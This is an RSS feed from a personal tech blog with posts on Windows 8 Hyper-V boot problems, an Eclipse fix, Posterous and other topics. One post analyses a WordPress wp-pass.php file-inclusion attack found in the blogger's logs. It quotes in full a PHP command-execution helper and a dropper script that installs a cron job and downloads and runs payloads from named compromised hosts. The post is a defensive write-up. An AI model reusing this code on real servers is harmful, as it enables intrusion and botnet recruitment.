<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>mou.me.uk &#187; geek</title> <atom:link href="http://mou.me.uk/category/geeky/feed/" rel="self" type="application/rss+xml" /><link>http://mou.me.uk</link> <description>A little piece of the web</description> <lastBuildDate>Thu, 11 Oct 2012 08:59:36 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.5.1</generator> <item><title>Windows won&#8217;t boot after activating Hyper-V in Windows 8</title><link>http://mou.me.uk/2012/08/27/windows-wont-boot-after-activating-hyper-v-in-windows-8/</link> <comments>http://mou.me.uk/2012/08/27/windows-wont-boot-after-activating-hyper-v-in-windows-8/#comments</comments> <pubDate>Mon, 27 Aug 2012 21:25:26 +0000</pubDate> <dc:creator>mou</dc:creator> <category><![CDATA[geek]]></category> <category><![CDATA[hyper-v]]></category> <category><![CDATA[virtualbox]]></category> <category><![CDATA[vmware]]></category> <category><![CDATA[windows]]></category> <category><![CDATA[windows 8]]></category><guid
isPermaLink="false">http://mou.me.uk/?p=1204</guid> <description><![CDATA[Only a week since installing Windows 8 and I&#8217;ve already managed to break something&#8230; :S On enabling Hyper-V in the &#8220;Turn Windows Features On or Off&#8221; menu, I was prompted to restart to complete the installation. It rebooted, installed some stuff, then rebooted again. At that point, it got as far as the Windows logo [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://static.mou.me.uk/uploads/2012/08/Windows-8-logo-300x300-225x225.jpg" alt="Windows 8 logo" title="Windows 8" width="225" height="225" class="alignleft size-medium wp-image-1205" />Only a week since installing Windows 8 and I&#8217;ve already managed to break something&#8230;  :S</p><p>On enabling Hyper-V in the &#8220;Turn Windows Features On or Off&#8221; menu, I was prompted to restart to complete the installation.  It rebooted, installed some stuff, then rebooted again. At that point, it got as far as the Windows logo and then nothing &#8211; no spinner, no HDD light, no feedback &#8211; just the black screen and the Windows logo.</p><p>The problem with having your PC break is you&#8217;ve lost the simplest way of Googling for a solution, so after much faffing around on my phone, I came across <a
href="http://social.technet.microsoft.com/Forums/en-US/winserver8setup/thread/39f70a80-800d-43c5-b948-ca905c900ada">this post</a> &#8211; it talks about Windows Server 8, but the common feature was <strong>we both have a Gigabyte USB3.0 motherboard</strong>&#8230; and sure enough, disabling the USB3 controller stopped it hanging on boot.</p><p>For anyone that&#8217;s interested, I did this by restarting, entering the bios settings screen, then disabling it in there. The exact location of the option will probably depend on your motherboard, but look out for something labelled &#8220;USB 3 controller&#8221;.</p><p>I did have another minor issue after that, whereby it ran Windows diagnostic and asked if I wanted to restore to an earlier point &#8211; I said no. Not sure why, if I&#8217;m honest.  But then it sat with the HDD light flashing manically for about 10 minutes until I turned off the power and booted up again.  Everything now seems to be fine!</p><p>I don&#8217;t know if it&#8217;s an incompatibility with the motherboard, or if a patch will come along at some point to fix it, so I&#8217;m disabling Hyper-V for now &#8211; having 2 USB3 ports is a lot more useful to me right now, especially with a VMWare license to hand and a pretty decent <a
href="https://www.virtualbox.org/">open source alternative</a> available!</p><p>Incidently, I did try to install Ubuntu before I uninstalled Hyper-V, and it seemed to work alright &#8211; plus the Hyper-V management software looks really useful. Definitely some real potential there. Shame.</p> ]]></content:encoded> <wfw:commentRss>http://mou.me.uk/2012/08/27/windows-wont-boot-after-activating-hyper-v-in-windows-8/feed/</wfw:commentRss> <slash:comments>17</slash:comments> </item> <item><title>Fixing Eclipse in Ubuntu 9.10 Karmic Koala</title><link>http://mou.me.uk/2009/10/31/fixing-eclipse-in-ubuntu-9-10-karmic-koala/</link> <comments>http://mou.me.uk/2009/10/31/fixing-eclipse-in-ubuntu-9-10-karmic-koala/#comments</comments> <pubDate>Sat, 31 Oct 2009 18:10:17 +0000</pubDate> <dc:creator>mou</dc:creator> <category><![CDATA[geek]]></category> <category><![CDATA[bug]]></category> <category><![CDATA[eclipse]]></category> <category><![CDATA[ubuntu]]></category><guid
isPermaLink="false">http://mou.me.uk/?p=810</guid> <description><![CDATA[After an upgrade to Ubuntu 9.10 (Karmic Koala) I noticed a few random issues in Eclipse has popped up. Most notably, I was no longer able to click the OK buttons on pop up windows &#8211; I had to highlight them with the mouse then hit either space or enter on the keyboard to select [...]]]></description> <content:encoded><![CDATA[<p>After an  upgrade to Ubuntu 9.10 (Karmic Koala) I noticed a few random issues in Eclipse has popped up.  Most notably, I was no longer able to click the OK buttons on pop up windows &#8211; I had to highlight them with the mouse then hit either space or enter on the keyboard to select them.</p><p>Other symptoms included the &#8220;Install new software&#8221; window not listing any options when I entered an update URL (the options were there, but just not visible &#8211; clicking randomly within the selection box seemed to activate/deactivate them).  Also the buttons were missing from the search view, so I was no longer able to scroll through the results after a full file search.</p><p>Initially, I thought this may have been a Java incompatibility with Karmic &#8211; I&#8217;d installed the Beta version on the my desktop PC weeks before and experienced the same issue, but assumed it was because the OS wasn&#8217;t finished.</p><p>But after a bit of digging around, I found a bug logged on the Ubuntu Bug tracker.  A post by <a
href="https://launchpad.net/~berndth">Holger Berndt</a> seems to confirm <a
href="https://bugs.launchpad.net/ubuntu/+source/gtk+2.0/+bug/442078/comments/28">the bug is in Eclipse</a>:</p><blockquote><p> Starting from 2.18 on, GTK+ changed some of its internal behaviour (google for &#8220;client side windows&#8221;). This change is intentional, and needed for other development. It doesn&#8217;t make any difference to programs using GTK+ correctly, but it makes problems with programs that use GTK+ in weird ways, making wrong assumptions that only accidentally worked in the past. So, to ease the transition until those programs get fixed, an environment variable has been introduced to simulate the old behaviour.</p></blockquote><p>Reading through the rest of the discussion, it turned out that <del>won&#8217;t</del> <em>shouldn&#8217;t</em> affect copies of Eclipse checked out from the Ubuntu package repository, but seeing as I was using a copy of PDT I&#8217;d got straight from the Eclipse website, I was seeing the problems.</p><p>The fix is relatively simple.  Create a file in your home folder (or wherever you want) called <code>eclipsefix.sh</code> &#8211; open it and add the following lines:</p><pre>
export GDK_NATIVE_WINDOWS=true
/opt/eclipse/eclipse
</pre><p>(where <code>/opt/eclipse/eclipse</code> is the location of your eclipse application file).</p><p>Make sure you make it executable (<code>chmod +x ~/eclipsefix.sh</code>) then go to whatever shortcut you usually use to open Eclipse and change the command to point towards the file you just created (ie,<code>/home/mou/eclipsefix.sh</code>).</p><p>Now whenever you open Eclipse using this shortcut, the script will run and eclipse should work as expected.</p><p>According to the <a
href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=287307">eclipse bug tracker</a>, this issue should be fixed in Eclipse 3.5.2</p><p><em><strong>Update 11/11/09</strong>: <a
href="#comment-35638">daYmo has commented</a> that to get it to work he had to use <code>export GDK_NATIVE_WINDOWS=1</code>, so if you have no luck the first time it may be worth giving this a try.</em></p> ]]></content:encoded> <wfw:commentRss>http://mou.me.uk/2009/10/31/fixing-eclipse-in-ubuntu-9-10-karmic-koala/feed/</wfw:commentRss> <slash:comments>89</slash:comments> </item> <item><title>Seriously, how cool is Posterous?</title><link>http://mou.me.uk/2009/07/06/seriously-how-cool-is-posterous/</link> <comments>http://mou.me.uk/2009/07/06/seriously-how-cool-is-posterous/#comments</comments> <pubDate>Sun, 05 Jul 2009 23:12:25 +0000</pubDate> <dc:creator>mou</dc:creator> <category><![CDATA[geek]]></category> <category><![CDATA[posterous]]></category> <category><![CDATA[twitpic]]></category> <category><![CDATA[twitter]]></category><guid
isPermaLink="false">http://mou.me.uk/?p=721</guid> <description><![CDATA[Posterous is my new little toy. Its a service that allows you to email anything to them and they post it on your &#8220;posterous page&#8221;, sort of like as a blog post. The cool thing is what they do with what you send them. If its a photo, they&#8217;ll post it as an image with [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://static.mou.me.uk/uploads/2009/07/posterous-logo.gif" alt="posterous" title="posterous" width="131" height="131" class="alignleft size-full wp-image-722" /><a
href="http://posterous.com/">Posterous</a> is my new little toy.  Its a service that allows you to email anything to them and they post it on your &#8220;posterous page&#8221;, sort of like as a blog post.</p><p>The cool thing is what they do with what you send them.  If its a photo, they&#8217;ll post it as an image with your text underneath.  If its mulitple photos, they post it as a nifty little javascript phot gallery.  Video?  They encode it and embed it in a video player.  Audio?  Again, encoded and presented as in an embedded mp3 player.  Genius!</p><p>Whats the point?  Well I got thinking while I was at Glastonbury, uploading all my Twitter photos to Twitpic didn&#8217;t feel like they were still <em>mine</em>.  I don&#8217;t spend any time on my twitpic page, so it feels like you send them the photo, they host it and its gone.  OK, so Posterous is still hosted by a company somewhere, but they provide the option to add an A record on your server let people access your posterous site as though it was on your own server.  Mine can be found at <a
href="http://moblog.mou.me.uk">http://moblog.mou.me.uk</a> and although Posterous still has the content, I still feels like its mine.</p><p>They also have integration with other services, such as <a
href="http://twitter.com">Twitter</a> and <a
href="http://www.facebook.com">Facebook</a>.  Depending on what email address you send your content to, you can get them to post it on any of these services &#8211; for example, emailing my photo to twitter@posterous.com will post it on my posterous site, then post a shortened link to the post on my twitter page along with the title &#8211; all but eradicating the need to use Twitpic, and keeping my photos with all my other uploaded mobile media content!</p><p>I&#8217;ll admit I was a little concerned when I saw how simple the email addresses were &#8211; for example, posterous@posterous.com will only post it to your posterous, twitter+facebook@posterous.com will post it to your posterous and then to these 2 services, etc.  And these email addresses were the same for everyone, which meant that they are looking at the senders address to see if its actually from you or not.  My workmate managed to spoof an email from me from his server &#8211; which admittedly, had a reverse DNS and domain keys set up (for his domain, not mine) which made it onto the site first time.  I all but abandoned the service at this point, until a bit more testing led me to discover that the first email from an email address (after you authorize it to post on your page) was accepted without question, but any further emails are screened to check their origin &#8211; when I tried to post an email from my real email address, I received an email asking if it was genuine or not:</p><blockquote><p> ** ATTENTION: We noticed you&#8217;re sending this from a different computer or location, so it won&#8217;t get posted until we&#8217;re sure it&#8217;s you. Please confirm that you sent this.</p></blockquote><p>Good work, my faith was once again restored.  I deleted the email address I&#8217;d used originally, added my other primary address and sent a post in &#8211; so now if anyone does guess my address, nothing they send should get onto the site without my confirmation.</p><p>So Posterous is great and you should start seeing more content springing up on my <a
href="http://moblog.mou.me.uk">moblog</a>.  As I&#8217;ve never been a regular blogger, this is a great excuse to post little items without having to spend 2 hours thinking, proof reading and rewriting! <img
src='http://mou.me.uk/cms/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://mou.me.uk/2009/07/06/seriously-how-cool-is-posterous/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>April 1st &#8211; conficker world destruction day?</title><link>http://mou.me.uk/2009/03/31/april-1st-conficker-world-destruction-day/</link> <comments>http://mou.me.uk/2009/03/31/april-1st-conficker-world-destruction-day/#comments</comments> <pubDate>Wed, 01 Apr 2009 01:36:28 +0000</pubDate> <dc:creator>mou</dc:creator> <category><![CDATA[geek]]></category> <category><![CDATA[conficker]]></category><guid
isPermaLink="false">http://mou.me.uk/?p=556</guid> <description><![CDATA[So its April 1st -the day the conficker virus is set to do something. And I&#8217;m a little ashamed to admit I&#8217;m actually looking forward to finding out what &#8211; a botnet of that size could wreak havoc on any website in the world. I&#8217;ll be keeping an eye on Techmeme to see what the [...]]]></description> <content:encoded><![CDATA[<p>So its April 1st -<a
href="http://www.networkworld.com/news/2009/033009-conficker-april-1.html?t51hb">the day the conficker virus is set to do <em>something</em></a>.  And I&#8217;m a little ashamed to admit I&#8217;m actually looking forward to finding out what &#8211; a botnet of that size could wreak havoc on any website in the world.</p><p>I&#8217;ll be keeping an eye on <a
href="http://www.techmeme.com/">Techmeme</a> to see what the damage is!</p> ]]></content:encoded> <wfw:commentRss>http://mou.me.uk/2009/03/31/april-1st-conficker-world-destruction-day/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Design Coding</title><link>http://mou.me.uk/2008/12/19/design-coding/</link> <comments>http://mou.me.uk/2008/12/19/design-coding/#comments</comments> <pubDate>Fri, 19 Dec 2008 16:00:46 +0000</pubDate> <dc:creator>mou</dc:creator> <category><![CDATA[geek]]></category> <category><![CDATA[coding]]></category> <category><![CDATA[funny]]></category> <category><![CDATA[video]]></category> <category><![CDATA[web design]]></category> <category><![CDATA[web development]]></category><guid
isPermaLink="false">http://mou.me.uk/?p=478</guid> <description><![CDATA[This has had my eyes watering from laughter for the past 5 minutes, so I figured it was worth sharing. Mind you, unless you know the slightest thing about web design/development or you run a website, you probably won&#8217;t get a word of it. For me? Comedy gold Hat tip to Leanne for the link.]]></description> <content:encoded><![CDATA[<p>This has had my eyes watering from laughter for the past 5 minutes, so I figured it was worth sharing.</p><p>Mind you, unless you know the slightest thing about web design/development or you run a website, you probably won&#8217;t get a word of it.  For me?  Comedy gold <img
src='http://mou.me.uk/cms/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /></p><p><object
width="425" height="344" class="bdr"><param
name="movie" value="http://www.youtube.com/v/a0qMe7Z3EYg&#038;hl=en&#038;fs=1"></param><param
name="allowFullScreen" value="true"></param><param
name="allowscriptaccess" value="always"></param><embed
src="http://www.youtube.com/v/a0qMe7Z3EYg&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p><p>Hat tip to Leanne for the link.</p> ]]></content:encoded> <wfw:commentRss>http://mou.me.uk/2008/12/19/design-coding/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>How geeky am i?</title><link>http://mou.me.uk/2008/09/01/how-geeky-am-i/</link> <comments>http://mou.me.uk/2008/09/01/how-geeky-am-i/#comments</comments> <pubDate>Mon, 01 Sep 2008 20:16:45 +0000</pubDate> <dc:creator>mou</dc:creator> <category><![CDATA[geek]]></category> <category><![CDATA[quiz]]></category><guid
isPermaLink="false">http://mou.me.uk/?p=318</guid> <description><![CDATA[85% Geek Ha! Should I be proud?? Well sod it, I am anyway]]></description> <content:encoded><![CDATA[<p><a
href="http://www.oneplusyou.com/bb/geek" style="text-decoration: none; background: url('http://www.oneplusyou.com/bb/css/img/quiz/geek_badge.jpg') no-repeat; display: block; width: 268px; height: 82px;"><span
style="display: block; padding-left: 125px; padding-top: 28px; color: #000; font-family: Arial; font-size: 22px;" class="aligncenter">85% Geek</span></a></p><p>Ha!  Should I be proud??  Well sod it, I am anyway <img
src='http://mou.me.uk/cms/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://mou.me.uk/2008/09/01/how-geeky-am-i/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>How many times do I have to tell you?  My wp-pass.php is patched!!</title><link>http://mou.me.uk/2008/02/13/hackers-attempting-to-exploit-a-wordpress-vulnerability-using-wp-pass-php/</link> <comments>http://mou.me.uk/2008/02/13/hackers-attempting-to-exploit-a-wordpress-vulnerability-using-wp-pass-php/#comments</comments> <pubDate>Wed, 13 Feb 2008 00:18:09 +0000</pubDate> <dc:creator>mou</dc:creator> <category><![CDATA[geek]]></category> <category><![CDATA[wordpress]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[unix]]></category> <category><![CDATA[vulnerability]]></category> <category><![CDATA[wp-pass.php]]></category><guid
isPermaLink="false">http://mou.me.uk/2008/02/13/hackers-attempting-to-exploit-a-wordpress-vulnerability-using-wp-pass-php/</guid> <description><![CDATA[Since the new year &#8211; new years day, strangely enough &#8211; Ive noticed a change in the way &#8220;the bad guys&#8221; try to interact with my site. Spam has slowed to a trickle, whereas attempts to exploit WordPress vulnerabilities seem to have increased 10 fold. Seriously, I don&#8217;t use Askimet &#8211; just comment moderation &#8211; [...]]]></description> <content:encoded><![CDATA[<p>Since the new year &#8211; new years day, strangely enough &#8211; Ive noticed a change in the way &#8220;the bad guys&#8221; try to interact with my site.  Spam has slowed to a trickle, whereas attempts to exploit WordPress vulnerabilities seem to have increased 10 fold.</p><p>Seriously, I don&#8217;t use Askimet &#8211; just comment moderation &#8211; and  if I didn&#8217;t know better I&#8217;d think the blog spam epidemic was over!  (we can all wish)</p><p>But the exploits&#8230; it always seems to be the same type, all of which (so far) have been stopped by the fact I update my WordPress install regularly.  The common trick is using the <a
href="http://blogsecurity.net/news/news-050707/">wp-pass.php</a> vulnerability, which was <em>apparently</em> <a
href="http://blogsecurity.net/news/news-050707/">fixed in wp 2.2.2</a>.  Basically, my logs show a 404 from this address like this:</p><pre>http://mou.me.uk/wp-pass.php/?_wp_http_referer=http://frikyrkja.net/config/exp667.txt?</pre><p>(We can assume http://frikyrkja.net is <em>probably</em> a compromised server somewhere)</p><p>So, of course, I check out this site and take a look what nasty code they&#8217;re trying to execute. 9 times out of 10, its looked relatively harmless:<br
/> <span
id="more-84"></span></p><pre>
$cmd="id";

$eseguicmd=ex($cmd);

echo $eseguicmd;

function ex($cfe){

$res = '';

if (!empty($cfe)){

if(function_exists('exec')){

@exec($cfe,$res);

$res = join("\n",$res);

}

elseif(function_exists('shell_exec')){

$res = @shell_exec($cfe);

}

elseif(function_exists('system')){

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

}

elseif(function_exists('passthru')){

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

}

elseif(@is_resource($f = @popen($cfe,"r"))){

$res = "";

while(!@feof($f)) { $res .= @fread($f,1024); }

@pclose($f);

}}

return $res;

}</pre><p>This seems like more of a fact finder &#8211; testing to see if your server is vulnerable, etc.  But today, I came across a particularly bad one:</p><pre>
//exploiter v0.01 for rfi reloader by axe
$safemode=@ini_get('safe_mode');

if (@$_GET['filexp']) {
 if (@$_GET['deface_msg'])
 {
 	$deface_msg = $_GET['deface_msg'];
 }
 else
 {
 	$deface_msg = 'Patched Mother Fucker :p';
 }

 $filexp = $_GET['filexp'];

 $fp = fopen("$filexp","w");
 	if ($fp)
 	{
 		fwrite($fp,$deface_msg);
 		fclose($fp);
 	}
 }

$fp = file_exists('index.php');

if ($fp)
{
}
else
{
passthru('touch index.php');
}

if ($safemode)
{
ini_restore("safe_mode");
ini_restore("open_basedir");

shell_exec('killall -9 perl');
shell_exec('wget http://x-tal.ajou.ac.kr/zeroboard/skin/zero_vote/popup.txt;mv popup.txt fab666.php');
shell_exec('curl -O http://x-tal.ajou.ac.kr/zeroboard/skin/zero_vote/popup.txt;mv popup.txt fab666.php');
shell_exec('lwp-download http://x-tal.ajou.ac.kr/zeroboard/skin/zero_vote/popup.txt;mv popup.txt fab666.php');

shell_exec('fetch http://x-tal.ajou.ac.kr/zeroboard/skin/zero_vote/popup.txt;mv popup.txt fab666.php;rm -rf popup.txt*');
shell_exec("cd /tmp;echo '*/1 * * * * perl /tmp/.tmp/tmpfile' &gt;cron.job;crontab cron.job;rm -rf cron.job");
shell_exec('cd /tmp;mkdir .tmp;cd /tmp/.tmp;wget http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /tmp;mkdir .tmp;cd /tmp/.tmp;curl -O http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /tmp;mkdir .tmp;cd /tmp/.tmp;lwp-download http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /tmp;mkdir .tmp;cd /tmp/.tmp;lynx -source http://frikyrkja.net/config/brazil667.txt &gt;brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /tmp;mkdir .tmp;cd /tmp/.tmp;fetch http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /tmp;mkdir .tmp;cd /tmp/.tmp;GET http://frikyrkja.net/config/brazil667.txt &gt;brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /dev/shm;wget http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /dev/shm;curl -O http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /dev/shm;lwp-download http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /dev/shm;lynx -source http://frikyrkja.net/config/brazil667.txt &gt;brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /dev/shm;fetch http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
shell_exec('cd /dev/shm;GET http://frikyrkja.net/config/brazil667.txt &gt;brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');

}
else
{

passthru('killall -9 perl');
passthru('wget http://x-tal.ajou.ac.kr/zeroboard/skin/zero_vote/popup.txt;mv popup.txt fab666.php');

passthru('curl -O http://x-tal.ajou.ac.kr/zeroboard/skin/zero_vote/popup.txt;mv popup.txt fab666.php');
passthru('lwp-download http://x-tal.ajou.ac.kr/zeroboard/skin/zero_vote/popup.txt;mv popup.txt fab666.php');
passthru('fetch http://x-tal.ajou.ac.kr/zeroboard/skin/zero_vote/popup.txt;mv popup.txt fab666.php;rm -rf popup.txt*');
passthru("cd /tmp;echo '*/1 * * * * perl /tmp/.tmp/tmpfile' &gt;cron.job;crontab cron.job;rm -rf cron.job");
passthru('cd /tmp;mkdir .tmp;cd /tmp/.tmp;wget http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /tmp;mkdir .tmp;cd /tmp/.tmp;curl -O http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /tmp;mkdir .tmp;cd /tmp/.tmp;lwp-download http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /tmp;mkdir .tmp;cd /tmp/.tmp;lynx -source http://frikyrkja.net/config/brazil667.txt &gt;brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /tmp;mkdir .tmp;cd /tmp/.tmp;fetch http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /tmp;mkdir .tmp;cd /tmp/.tmp;GET http://frikyrkja.net/config/brazil667.txt &gt;brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /dev/shm;wget http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /dev/shm;curl -O http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /dev/shm;lwp-download http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /dev/shm;lynx -source http://frikyrkja.net/config/brazil667.txt &gt;brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /dev/shm;fetch http://frikyrkja.net/config/brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');
passthru('cd /dev/shm;GET http://frikyrkja.net/config/brazil667.txt &gt;brazil667.txt;mv brazil667.txt tmpfile;chmod +x tmpfile;perl tmpfile;./tmpfile;rm -rf brazil667.txt*');

}</pre><p>I&#8217;ll be the first to admit my Unix knowledge leaves a lot to be desired, but from what I can see this looks to be setting up a cron job to run a file 1 minute later before creating a folder and uses every method it can to try to download a text file to your server, which is then executed when the minute is up and the cron job deletes itself.  Clever.  You can see an example of the text file by <a
href="/uploads/wp-pass_exploit.txt">clicking here</a>.  (Note: Ive added an <code>exit;</code> command top to stop the b*astards using this text file on other people!)</p><p>Scary as hell.  I havent had a chance to sit down and puzzle out exactly what this script does if you execute it, but I&#8217;m willing to bet its not pretty.  There seems to be some code to connect to an IRC server, so the point of this is most likely to turn your server into a zombie bot.  Or possibly to host exploit scripts for other unpatched WP users to download.  I&#8217;ll know more when I go through it properly (and hopefully learn a few new things about Unix!!)</p><p>The moral of the story? <a
href="http://wordpress.org/download/">Keep your WordPress up to date</a>! <img
src='http://mou.me.uk/cms/wp-includes/images/smilies/icon_biggrin.gif' alt=':grin:' class='wp-smiley' /> No seriously, go do it now&#8230;</p> ]]></content:encoded> <wfw:commentRss>http://mou.me.uk/2008/02/13/hackers-attempting-to-exploit-a-wordpress-vulnerability-using-wp-pass-php/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Switching Servers</title><link>http://mou.me.uk/2007/11/03/switching-servers/</link> <comments>http://mou.me.uk/2007/11/03/switching-servers/#comments</comments> <pubDate>Sat, 03 Nov 2007 17:56:18 +0000</pubDate> <dc:creator>mou</dc:creator> <category><![CDATA[geek]]></category> <category><![CDATA[mou.me.uk]]></category> <category><![CDATA[upgrade]]></category><guid
isPermaLink="false">http://mou.me.uk/2007/11/03/switching-servers/</guid> <description><![CDATA[I&#8217;m switching to a new server at some point this weekend &#8211; just getting the setup ready. If I disappear for 20 minutes sometime in the next 2 days then&#8230; well&#8230; sorry.]]></description> <content:encoded><![CDATA[<p>I&#8217;m switching to a new server at some point this weekend &#8211; just getting the setup ready.</p><p>If I disappear for 20 minutes sometime in the next 2 days then&#8230; well&#8230; sorry. <img
src='http://mou.me.uk/cms/wp-includes/images/smilies/icon_wink.gif' alt=':wink:' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://mou.me.uk/2007/11/03/switching-servers/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 1/11 queries in 0.003 seconds using memcached
Object Caching 673/767 objects using apc

 Served from: mou.me.uk @ 2013-05-21 10:43:10 by W3 Total Cache -->